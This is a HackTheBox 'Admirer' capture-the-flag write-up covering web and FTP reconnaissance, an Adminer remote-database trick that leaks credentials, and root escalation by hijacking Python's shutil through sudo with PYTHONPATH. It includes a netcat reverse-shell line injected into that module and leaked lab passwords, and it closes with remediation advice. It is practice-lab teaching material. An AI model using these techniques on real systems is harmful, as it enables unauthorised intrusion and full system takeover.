Thumbnail: gravatar

HacktheBox 'Admirer' writeup

by on under writeups
34 minute read

‘Admirer’ HTB Writeup


Host Information

Hostname IP Address Operating System Difficulty Level
Admirer Linux Easy

Admirer Info Card


view all writeups here



Initial Recon



nmap information

We start with initial recon, running an initial full TCP nmap scan of the host with the following command:

sudo nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/admirer/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/admirer/scans/xml/_full_tcp_nmap.xml"

The following ports were revealed open on the target, followed by the full nmap script output below:

Port State Service Version
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7
80/tcp open http Apache httpd 2.4.25
# Nmap 7.80 scan initiated Thu Jun 11 12:36:02 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/admirer/scans/_full_tcp_nmap.txt -oX /0ps/HTB/admirer/scans/xml/_full_tcp_nmap.xml
Nmap scan report for
Host is up, received user-set (0.037s latency).
Scanned at 2020-06-11 12:36:03 CDT for 67s
Not shown: 65532 closed ports
Reason: 65532 resets
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
|   256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.13 (94%), Linux 3.16 (93%), Linux 3.18 (93%), Linux 4.2 (93%), Linux 4.8 (93%), Linux 4.9 (93%)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 198.840 days (since Mon Nov 25 15:26:59 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=251 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
1   36.20 ms
2   36.24 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Jun 11 12:37:10 2020 -- 1 IP address (1 host up) scanned in 68.14 seconds


nmap scan observations

We see that the target is linux, likely debian based on the openSSH version info grabbed by the nmap enumeration script. We note that only 3 ports appear to be open, FTP, SSH, and HTTP, all on their standard protocols. Anonymous logon to FTP does not appear to be allowed, which we can quickly confirm as we get a “530 Permission denied. Login failed.” message.

Running searchsploit vsftpd 3 doesn’t show any matching results for version 3 of the service, only variants of version 2. A quick google also doesn’t return anything obvious, so let’s move on.

HTTP enumeration

From here we can focus on HTTP enumeration, running a gobuster scan of the web service on port 80 served by apache with the following command:

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/0ps/HTB/admirer/scans/tcp_80_http_gobuster.txt"

The results are shown below, filtering out 403 statuses:

initinfosec@kali:/0ps/HTB/admirer/scans$ cat tcp_80_http_gobuster.txt | grep -v 403
/assets (Status: 301) [Size: 313]
/images (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 6051]
/index.php (Status: 200) [Size: 6051]
/robots.txt (Status: 200) [Size: 138]
/robots.txt (Status: 200) [Size: 138]

We can then examine the file robots.txt, which shows the following:

HTTP/1.1 200 OK
Date: Thu, 11 Jun 2020 17:37:33 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 29 Apr 2020 09:22:10 GMT
ETag: "8a-5a46a7b96e300"
Accept-Ranges: bytes
Content-Length: 138
Vary: Accept-Encoding
Content-Type: text/plain

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

That’s certainly worth noting - seems admin-dir contains some sensitive information. Additionally, we have a potential username which might come in handy - waldo.

A nikto scan of the host shows the following, which nothing too interesting jumping out.

- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2020-06-11 12:36:14 (GMT-5)
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7866 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-06-11 12:42:28 (GMT-5) (374 seconds)
+ 1 host(s) tested

Directly trying to access gives us a “Forbidden” message, However, can can start an enumeration/crawler scan for HTTP starting at the admin-dir directory, with the following command, followed by it’s results below:

initinfosec@kali:/0ps/HTB/admirer/scans$ dirsearch -u -t 16 -r -e txt,html,php,asp,aspx,jsp -f -w /usr/share/wordlists/dirbuster/directory-l
ist-2.3-medium.txt --plain-text-report="/0ps/HTB/admirer/scans/tcp_80_http_dirsearch_admin-dir.txt"                                                                         

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: txt, html, php, asp, aspx, jsp | HTTP method: get | Threads: 16 | Wordlist size: 1543646 | Recursion level: 1

Error Log: /0ps/tooling/recon/dirsearch/logs/errors-20-06-11_13-09-11.log


[13:09:11] Starting:
[13:09:11] 403 -  277B  - /admin-dir/.html
[13:09:11] 403 -  277B  - /admin-dir/.php
[13:09:18] 200 -  350B  - /admin-dir/contacts.txt
[14:00:31] 200 -  136B  - /admin-dir/credentials.txt

Task Completed

Going to shown by the crawler, we see the following:

# admins #
# Penny
Email: p.wise@admirer.htb

# developers #
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

# designers #
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Interesting - good to note. Possibly one or more of these users have access to maybe an adminstrative logon to the website, or potentially SSH access to the target server.

Going to, we see the following:

[Internal mail account]

[FTP account]

[Wordpress account]

We try using SSH to login in as w.cooper@, but using to provided password does not allow us to authenticate successfully. However, using the FTP credentials provided does allow for successful authentication to the FTP service, as shown below:

initinfosec@kali:/0ps/HTB/admirer/loot$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( ftpuser
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

We see two files of interest within the directory, and can download them locally, as shown below:

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (9.1215 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 2.20 secs (2.2893 MB/s)

Furthermore, we see we do not have permission to put/upload files to the target FTP server as the ftpuser, as shown below:

ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
550 Permission denied.

Now let’s extract the html.tar.gz file to see what’s inside:

initinfosec@kali:/0ps/HTB/admirer/loot/html$ tar xvzf html.tar.gz

We see a robots.txt file which is different from the file on the live target, showing the following:

User-agent: *

# This folder contains personal stuff, so no one (not even robots!) should see it - waldo
Disallow: /w4ld0s_s3cr3t_d1r

Viewing the files in the extracted directory we see the following:

initinfosec@kali:/0ps/HTB/admirer/loot/html/w4ld0s_s3cr3t_d1r$ ll
total 8
-rw-r----- 1 initinfosec initinfosec 350 Dec  2  2019 contacts.txt
-rw-r----- 1 initinfosec initinfosec 175 Dec  2  2019 credentials.txt

initinfosec@kali:/0ps/HTB/admirer/loot/html/w4ld0s_s3cr3t_d1r$ cat credentials.txt
[Bank Account]

[Internal mail account]

[FTP account]

[Wordpress account]

initinfosec@kali:/0ps/HTB/admirer/loot/html/w4ld0s_s3cr3t_d1r$ cat contacts.txt
# admins #
# Penny
Email: p.wise@admirer.htb

# developers #
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

# designers #
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Again, trying to ssh as waldo and waldo.11 with the provided credentials did not work. Additionally, trying to hit in production/the live target yields a 404.

Looking at the dump.sql, credentials don’t seem to be disclosed, as it seems to be a dump of perhaps an items table, but we get the following information about the db, which is good to know:

-- MySQL dump 10.16  Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
  2 --
  3 -- Host: localhost    Database: admirerdb
  4 -- ------------------------------------------------------
  5 -- Server version       10.1.41-MariaDB-0+deb9u1

In the uility scripts directory, we see the following:

initinfosec@kali:/0ps/HTB/admirer/loot/html/utility-scripts$ ll
total 16
-rw-r----- 1 initinfosec initinfosec 1795 Dec  2  2019 admin_tasks.php
-rw-r----- 1 initinfosec initinfosec  401 Dec  1  2019 db_admin.php
-rw-r----- 1 initinfosec initinfosec   20 Nov 29  2019 info.php
-rw-r----- 1 initinfosec initinfosec   53 Dec  2  2019 phptest.php

Looking at the admin_tasks.php script shows some interesting functionality - it looks like the script is performing system calls from php within the script, allowing for potential abuse for information disclosure or command execution if the script exists on the live target. The admin tasks script is shown below.

initinfosec@kali:/0ps/HTB/admirer/loot/html/utility-scripts$ cat admin_tasks.php
  <title>Administrative Tasks</title>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  // Web Interface to the admin_tasks script
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/ $task 2>&1"));
      echo("Invalid task.");

  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    <input type="submit">

Additionally, with db_admin.php, we see additional credentials that might come in use, as shown below:

initinfosec@kali:/0ps/HTB/admirer/loot/html/utility-scripts$ cat db_admin.php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  echo "Connected successfully";

  // TODO: Finish implementing this or find a better open source alternative

Again though, trying this credential on SSH as user ‘waldo’ is unsuccessful.

Fortunately for us, the utility-scripts directory exists on the live target! Going to the main directory gives a 403 forbidden (not unexpected,) but directly accessing a script resolves, and is able to be reached externally, as shown below with the info.php page:

info.php script on 'Admirer'

Additionally the admin_tasks.php script appears to be functioning, as shown in the below screenshot viewing the logged in users to the system.

testing the admin_tasks.php script on 'Admirer'

We see that the webserver is running under the expected www_data user, but there appears to be no crontabs for the user. Using FireFox’s Inspect Element tool (you could do the same with Burp Suite), we see that the php actions on the admin_tasks.php script are being sent via HTTP POST request, with a number passed as a parameter to the script (visible on the network tab once a task is selected and ‘Submit Query’ is hit.) Recalling that there were a few options shown as disabled, we can attempt to see if they will execute anyway, by altering the parameter and resending the POST request (done in FireFox by right-clicking the request and selecting ‘Edit and Resend.’) Here let’s change the parameter to 4, to see if we can view the disabled passwd file as indicated by the script we found in the html directory from FTP.

Attempting to edit script options within Firefox

Not unexpectedly, this is unsuccessful. Attempting to access results in a 404, which is good to note as well.

Looking at the index.php page extracted from the FTP tar.gz archive we grabbed earlier, we also see the following credentials below. These however do not work for SSH either.

                                 <div id="main">
 32                                          <?php
 33                         $servername = "localhost";
 34                         $username = "waldo";
 35                         $password = "]F7jLHw:*G>UPrTo}~A"d6b";
 36                         $dbname = "admirerdb";
 38                         // Create connection
 39                         $conn = new mysqli($servername, $username, $password, $dbn    ame);

At this point I was personally pretty stumped, and started googling file names that we found in the loot directory. After googling “db admin php” we notice one of the first results is adminer - - which appears to be database management in a single PHP file. This begins to make sense as we see DB credentials throughout various parts of our enumeration up to know. This also caused me to go back and take a closer look at the db_admin.php file, which has a comment at the end: “TODO: Finish implementing this or find a better open source alternative.”

This begins to make even more sense as we notice that while we could reach the utility-scripts directory, the db_admin.php resource resulted in a 404, so was likely replaced with adminer. We don’t know the time interval between the backup of the site within FTP and what is now on the live target/production, but it stands to reason that the db management/admin function has been upgraded/replaced with adminer since the backup was taken.

Keeping this in mind, we hit the following URL - We notice it indeed loads, and we’re presented with the following screen shown below:

Adminer login on target 'Admirer'

Trying the login with the creds provided in both the index.php and db_admin.php files unfortunately does not seem to work. Since we know that all the credentials (and slight variations) gathered during enumeration do not work, we move on to searching for vulnerabilities within the adminer software, as that’s the new finding we have not yet enumerated.

We find after a short bit of searching, that adminer 4.6.2 seems to allow remote connections - as long as the remote database is valid, and the auth information is correct, it seems that this ‘feature’ of remote connectivity can be leveraged to make a vulnerability and exploit that allows for authentication to an attacker controlled database locally (remote from the context of the target) and then leveraged to disclose potentially sensitive information about the target by using queries from the adminer service to query the target. More information about this vulnerability can be found here.


staging / setup for initial exploit

So now we can begin setup for the initial exploit. Kali should already have mysql-server installed, but if not, go ahead and installed it. Once done, we need to log in to the mysql shell to create the initial database.

Without modifications, mysql will only allow the root user (in a root shell) to connect to the database, so be sure to follow the first step of switching to the root user. If you don’t know your root password, it’s a good idea to set it with passwd once logged in as root.

sudo su -
root@kali:~# mysql -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 60
Server version: 10.3.22-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

Now that we’re in the mysql shell, we can setup our database to authenticate to as the remote server to the adminer utility. This can be done with the create command:

MariaDB [(none)]> CREATE DATABASE admirerdb;
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]> SHOW DATABASES;
| Database           |
| admirerdb          |
| information_schema |
| mysql              |
| performance_schema |
4 rows in set (0.000 sec)

Now we can populate the database with the dump file we found in the FTP server earlier so that the database matches (or at least very closely resembles) the target structure. This can be done by passing the input of the dump.sql file to the newly created database as shown below. After inputting the file, we see the table was successfully imported.

root@kali:/0ps/HTB/admirer/loot# mysql -u root -p admirerdb < dump.sql
Enter password:
root@kali:/0ps/HTB/admirer/loot# mysql -u root -p admirerdb
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.3.22-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [admirerdb]> SHOW TABLES;
| Tables_in_admirerdb |
| items               |
1 row in set (0.000 sec)

MariaDB [admirerdb]>

Now we need to allow remote connections to the database, as mysql allows only the root user on localhost to connect to the database. In order for this attack to work, we need our attacker instance of admirerdb to accept a connection from the target server. To allow this we can run the following. First, edit the my.cnf file (/etc/mysql/my.cnf on my system) to contain the bind address attribute, under the mysqld section. If the section header is not present, you can create it. Be sure to replace the bind IP address with your tun0 interface IP. Also keep in mind connections from the adminer page on the target will be coming from that IP,


# set bind address

Once set, save the file and then access the database again, running the following command to allow access from the target server, as that’s where the connection will be coming from. After the grant statement, we run a flush privileges mysql command to apply the changes.

MariaDB [admirerdb]> GRANT ALL ON admirerdb.* TO <your username>@ IDENTIFIED BY '<your password>';
Query OK, 0 rows affected (0.004 sec)

MariaDB [admirerdb]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.000 sec)

Now we can at least somewhat test the external connectivity, dropping out of root, with the following:

initinfosec@kali:/0ps/HTB/admirer/loot$ mysql -u initinfosec -h -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 10.3.22-MariaDB-1 Debian build-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Great, that was successful. From here, with the mysql service still running, we can quit out of the mysql shell. Now we can attempt to login to the adminer page with our remote attacker database, providing our root credentials as authentication. Don’t forget to change the IP to the tun0 address of your VPN. Let’s drop out of the mysql prompt, and connect to the admin page as shown below:

Login with adminer to remote server

Once we submit, we see that login was successful, as shown in the below screenshot. This demonstrates a vulnerability or at least concerning feature of the software, but now we will take it a step further to try and disclose information about the target:

Access via remote auth to target 'admirer'

We can head to the ‘SQL command’ link to launch the window to run SQL commands from the adminer app. From here we’ll use the following query to pull results from the local/target server (even though we authenticated with a remote server.) We’ll want to insert these findings from the target file into a table locally on our db, so let’s use the ‘items’ table which we already know exists. In theory we could create a new table, but without knowing the needed structure (columns, data types, etc.) it seems easier just to use what’s already there.

When first trying to grab a resource, we see that we’re restricted in the paths and files we can choose, as shown below. Googling seems to show that this setting is set within PHP - since we don’t currently have access to modify the PHP configuration, we’ll have to find something that works.

basedir restrictions on adminer

From the PHP info page discovered earlier, we see the following:

open_basedir	/var/www/html

So we need to grab something local within that directory, probably.


gaining an initial foothold

We recall from earlier enumeration that the html gzipped backup grabbed from FTP contained credentials in the index.php file, but those credentials did not seem to work, and the website had been changed since the backup was exported. While we can view the source of the index.php file externally, we are only seeing the HTML web content rendered by the PHP code/site, not the raw PHP code itself. Keeping this in mind, we retrieve index.php locally from the target server and save it remotely, in hopes to find credentials that may work to gain a foothold. The SQL command ran is shown below.

Saving index.php from target

Once queried, we can view the table in the browser using the ‘select’ link on the left. While the output format is not ideal, it’s still readable, and with some scrolling we see the following:

 $username = "waldo";	                        $password = "&<h5b~yK3F#{PaPB&dA}{H>";

Database credentials from exported index.php

This set of credentials seems to be new, and we have not seen them before. Trying them within SSH, they work, providing us user access as ‘waldo,’ as shown below:

initial shell as waldo on admirer

From here we can proceed to grab the user.txt flag from waldo’s home directory.


Privilege Escalation


PrivEsc enumeration

As the user ‘waldo’ we can run sudo -l first to see what privileges we have.

The following is returned:

waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/

We see that we can run the script with sudo privileges, but under a SETENV restriction. We’ll recall that the admin_tasks.php script was the one referenced in the deprecated db_admin.php script. The env_reset setting in the sudoers file will generally run command in a minimal, new environment, generally not inheriting variables from the current environment. However, we also notice the ENVSET option on the waldo user, indicating that we may have the ability to override the default setting for sudo with the current user waldo. Let’s keep this in mind as we do further enumeration for privesc.

We see from running crontab -l that no crontabs are set for ‘waldo.’ However, when running the script with sudo, we see crontabs returned, indicating, as expected, that the script is running as root, and the crontab listed belongs to root.

waldo@admirer:~$ /usr/bin/crontab -l
no crontab for waldo
waldo@admirer:~$ sudo /opt/scripts/ 

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 3
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h  dom mon dow   command
*/3 * * * * rm -r /tmp/*.* >/dev/null 2>&1
*/3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1

So it seems items within tmp, as well as any items with the extension starting with .p are removed from the system every 3 minutes. However, this doesn’t seem to be of much immediate use. The binary is called with the explicit path, and there seem to be no easy way to leverage the rm command to privesc.

Viewing the script further, we see that most binaries within the script seem to be caled with the explicit path. However, the backup website function seems to reference a python script, /opt/scripts/ The following are the contents of the python script:


from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

The following are the permissions of the script:

waldo@admirer:~$ ls -altr /opt/scripts/
-rwxr----- 1 root admins 198 Dec  2  2019 /opt/scripts/
waldo@admirer:~$ groups
waldo admins

So waldo is an admin, but can only read the file. It seems to make a .tar.gz of the html directory, similar to what we saw in the FTP directory (and we see that path commented out.) Furthermore, it appears we don’t have access to the html directory.

We can examine the shutil python file that is being imported, and see that it makes a number of calls itself, including an ‘import os’ call, as shown below:

waldo@admirer:/var/backups$ cat /usr/lib/python2.7/
"""Utility functions for copying and archiving files and directory trees.

XXX The functions here don't copy the resource fork or other metadata on Mac.


import os
import sys
import stat
from os.path import abspath
import fnmatch
import collections
import errno

However, python library hijacking seems to be out of the question as we can’t write to the current directory of the script, as well as to any of the directories looked inside by pthon for the import modules. We can use python to examine the path of the module called by function 6 of the bash script, observing the following:

waldo@admirer:~$ python3
Python 3.5.3 (default, Sep 27 2018, 17:25:39)
[GCC 6.3.0 20170516] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import shutil
>>> print(shutil.__file__)
>>> exit()
waldo@admirer:~$ ls -ltra /usr/lib/python3.5/
-rw-r--r-- 1 root root 40048 Sep 27  2018 /usr/lib/python3.5/

However, recall that the sudo permissions allowed us as waldo to set our own environment variables. Even if we cannot write to a path within the python directory or the script, we can perhaps define our own.

After a thorough examination of both scripts, it seems that all of the binaries within the bash script itself is defined by full paths, which is good security practise, but somewhat limits us as an attacker. We still may be able to perform python library hijacking however, by setting a bash variable telling python where to look for modules.


gaining a root shell / full system compromise

We saw from earlier enumeration of the crontab that both our home directory as waldo and the /tmp directory are cleaned every few minutes. With this in mind, let’s move to the /dev/shm directory. Now that we know the full path of the python shutil module, let’s copy it to the shm directory like so:

waldo@admirer:/dev/shm$ cp /usr/lib/python3.5/ .

With the module now residing in a path we can write to and modify, let’s change the python script to add capbility to call a reverse shell. Keep in mind that we’ll need to keep the make_archive function existant and more or less intact, in order for the script to execute properly and the exploit to work.

The easiest way I found to craft the exploit/payload portion of the script was to use the os function that was already imported at the beginning of the module to make a call to netcat to spawn a reverse shell on the attacker system. Keep in mind that you’ll want to change the IP and port accordingly.

os.system('nc 4444 -e /bin/bash')

Now we just need to figure out where to place the netcat system call. If we put it outside the make_archive function either at the top or bottom of the script, we run the risk of it potentially not being called from the bash script, or potentially either breaking the script and causing the exploit not to fire, or successfully firing but later killing the process as the bash script which called the python function moves on.

Note that none of these options are garunteed outcomes necessarily, and some testing would be necessary. However, keeping this in mind, I found the easiest place to plant the code was right before the return function. We know that the make_archive function works from the script with testing, so by placing it right before the end of the function, we ensure that it is both called and executed. (Note that if it is placed after the return statement the code will likely not execute.) Below shows the excerpt of the python module with the added line of code in place.

    if format != 'zip':
        kwargs['owner'] = owner
        kwargs['group'] = group

        filename = func(base_name, base_dir, **kwargs)
        if root_dir is not None:
            if logger is not None:
                logger.debug("changing back to '%s'", save_cwd)

    os.system('nc 4444 -e /bin/bash')
    return filename

Once the script is in place in the /dev/shm directory where it will not get removed, we can execute the menu as sudo, being sure the pass the ENVSET option to tell python where to look for libararies (the PYTHONPATH environment variable), The command to run the menu with this setting is:

sudo PYTHONPATH=/dev/shm /opt/scripts/

Once run, we select option 6 for website backups, the only option which calls the python script. With this option selected, the make_archive function is called from the file, which is now sourced locally, so the script is seeing our modified file. We then observe that a reverse shell is caught, meaning the modifications with the nc command were successful. We’ve now gained a root shell locally from the target, as the script (and it’s childen processes) was run with sudo privileges. The root shell is shown below, with the exploit from the target being staged and run on the left pane, and the shell being caught on the right pane.

root shell on admirer





  • Patch the adminer.php script to disallow remote authentication, and/or block remote database connections from within the php file or the firewall itself.
  • Remove sensitive information such as credentials from public webservers, regardless of how visible or obscure the hosted directory may seem
  • Remove credentials from the index.php page, either by implementing a strong salted hash of the password if the database connection string must be on the index page, or by moving the database auth/connection function elsewhere that is less visible.
  • Audit user permissions and script capabilities. Consider disallowing the ENVSET option on sudo for the user ‘waldo.’
  • Monitor and/or block reverse TCP connections from the server to unknown hosts that don’t match standard traffic (e.g. reverse TCP over port 443 vs standard HTTP traffic over port 80)



All for now; until next time.


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus